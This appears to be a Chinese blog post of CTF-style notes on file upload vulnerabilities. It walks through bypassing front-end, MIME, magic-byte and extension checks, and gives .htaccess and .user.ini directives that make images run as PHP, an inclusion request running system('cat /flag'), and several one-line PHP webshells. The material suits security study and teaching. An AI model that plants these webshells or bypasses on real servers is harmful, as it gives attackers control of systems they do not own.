文件上传漏洞总结

目录

文件上传漏洞总结

原理

危害

webshell(网页木马文件)

大马

小马

图片马

前端验证(客户端javascript验证)

前端验证绕过

后端验证(服务端验证)

服务端MIME类型验证(文件内容类型检测)

服务端文件内容验证-文件头

服务端文件扩展名验证

常用

.htaccess

.user.ini

常见一句话写法


注:菜鸡笔记,酌情参考!

原理

在开发时没有对用户上传的文件进行严格的检测,过滤,导致用户可以上传可执行脚本文件(恶意文件),导致可以执行服务端命令

危害

获取服务器的控制权

可以上传相同文件名的文件来覆盖原有文件

容易受到目录遍历的攻击;

拒绝服务 (DoS) 攻击....

webshell(网页木马文件)

最常见的文件上传漏洞的方法是上传网站木马(webshell)文件,WEBSHELL又称网页木马文件,根据开发语言的不同又分为ASP木马、PHP木马、JSP木马等,该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制。

webshell分为大马,小马(一句话木马)和图片马

大马

功能比较全,但代码量大,相对复杂,不容易隐藏,一般需要加密等手段来进行隐藏

小马

功能简单,代码少,隐蔽性强

图片马

网站只允许上传图片(.png .jpg .gif) ,且无法绕过时,可利用图片马

制作图片马:cmd中输入命令:copy 图片.jpg/b+木马.php/a 图片.jpg

目录

目录

原理

危害

webshell(网页木马文件)

大马

小马

图片马

前端验证(客户端javascript验证)

前端验证绕过

后端验证(服务端验证)

服务端MIME类型验证(文件内容类型检测)

服务端文件内容验证-文件头

服务端文件扩展名验证

常用

.htaccess

.user.ini

常见一句话写法


前端验证(客户端javascript验证)

主要检测文件后缀,大致分为:

  • 黑名单:不允许上传的文件

  • 白名单:允许上传的文件

  • 前端对上传文件有限制时是可以直接修改代码

    eg:  lay-data="{url: 'upload.php', accept: 'images',exts:'png'}
          改为:lay-data="{url: 'upload.php', accept: 'file'}

前端验证绕过

  • 在浏览器设置中关闭Javascript

  • bp抓包修改(比如先上传1.jpg文件,再抓包后改为1.php

后端验证(服务端验证)

服务端MIME类型验证(文件内容类型检测)

MIME类型是描述消息内容类型的因特网标准

主要为Content-Type:

当对文件内容有限制时,可以将Content-Type:application/octet-stream等改为:

Content-Type:image/jpeg

Content-Type:image/png

Content-Type:image/gif

服务端文件内容验证-文件头

后端会检测上传文件的内容

图片格式检查文件内容是通过检查文件开头的一段二进制,不同的图片类型,文件头是不同的。

绕过方法:

一,在文件前添加文件幻术头,对图片类容进行欺骗

常见文件幻术头:GIF89a

  • JPG: FF D8 FF EO 00 10 4A 46 49 46.

  • GIF:47 49 46 3839 61(GIF89a).

  • PNG:89 50 4E 47

二,利用服务器将木马文件解析成了图片文件,因此向其发送执行该文件的请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。

因此利用文件包含漏洞,可以将图片格式的文件当作PHP文件来解析执行

.php?filename=uploads/1.jpg&pass=system('cat /flag')
​

服务端文件扩展名验证

.php?filename=uploads/1.jpg&pass=system('cat /flag')

后端对文件的扩展名进行了过滤后,所上传的文件后缀进行筛选

绕过方法:

  • 后缀名大小写

  • 同义后缀名替换

php: php、 phtml、php3、php4、php5  
​
jsp: jap、jspx、jspf 
​
asp: asa、cer、aspx
​
ext: exee
​
  • 双写绕过:php -> phphpp

常用

.htaccess

参考:原文链接:深究用户利用.htaccess的原理篡改配置导致的安全问题_合天网安学院-CSDN博客

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的''AllowOverride''指令来设置。这里简明扼要的说一下,.htaccess说白了就是apache服务器中的一个配置文件;只不过它负责的是相关目录之下的网页配置;

htaccess文件作用:

  • 网页301重定向

  • 自定义404错误页面

  • 改变文件拓展名

  • 禁止目录列表等等

因此可以利用写入.htacess文件内容:    

<FilesMatch "s1mple"> //使名为s1mple的文件当作php格式解析
Sethandler application/x-httpd-php
</Filesmatch >
    
 或者:
AddType application/x-httpd-php .jpg //将jpg文件当作php格式解析

.user.ini

参考:文件上传之.htaccess和.user.ini_m0_46587008的博客-CSDN博客

.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

.user.ini文件作用: 可以改变用户读取文件和包含文件的权限等,它的使用范围更广,但是条件多了一个(比较重要的)对应目录下有可执行文件。接下来我们看如何构造这两种配置文件。

auto_prepend_file=a.jpg //在木马前传入
auto_append_file=a.jpg  //在木马后传入

常见一句话写法

 <?php @eval($_POST["pass"]);?> 
​
<script language='php'>assert($_REQUEST['pass'])</script>
     
<script language="php">eval($_POST['pass'])</script>
                                   
<scriptlanguage="php">eval($_REQUEST['pass'])</script>

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
文件上传漏洞是指在网站或应用程序中存在漏洞,使得攻击者可以上传恶意文件到服务器上。通过利用文件上传漏洞,攻击者可以执行任意代码,获取服务器权限,或者在服务器上执行其他恶意操作。 要找到文件上传漏洞的绝对路径,可以通过以下步骤进行: 1. 首先,尝试上传一个文件,观察上传的文件是否被服务器接受并保存。如果上传成功,可以尝试修改文件的扩展名或内容,以绕过服务器的文件类型检查。这样可以确保上传的文件能够被服务器执行。 2. 上传成功后,需要找到上传文件的绝对路径。可以通过查看上传文件的URL或文件路径来获取。通常,上传的文件会被保存在服务器的特定目录中,可以通过查看服务器配置文件或应用程序代码来确定上传文件的保存路径。 3. 一旦找到上传文件的绝对路径,可以使用蚁剑等工具来连接服务器并执行代码。通过连接服务器,可以利用上传的文件执行任意代码,获取服务器权限或进行其他操作。 需要注意的是,为了使上传的文件能够被服务器执行,通常需要将文件的扩展名修改为服务器支持的脚本语言类型,如PHP。这样服务器在执行文件时会将其作为脚本来解析并执行其中的代码。 总结起来,要找到文件上传漏洞的绝对路径,需要通过上传文件并修改扩展名或内容来绕过服务器的文件类型检查,然后查找上传文件的保存路径,并使用相应的工具连接服务器并执行代码。 #### 引用[.reference_title] - *1* *2* *3* [文件上传漏洞详解](https://blog.csdn.net/2301_76160896/article/details/131215650)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值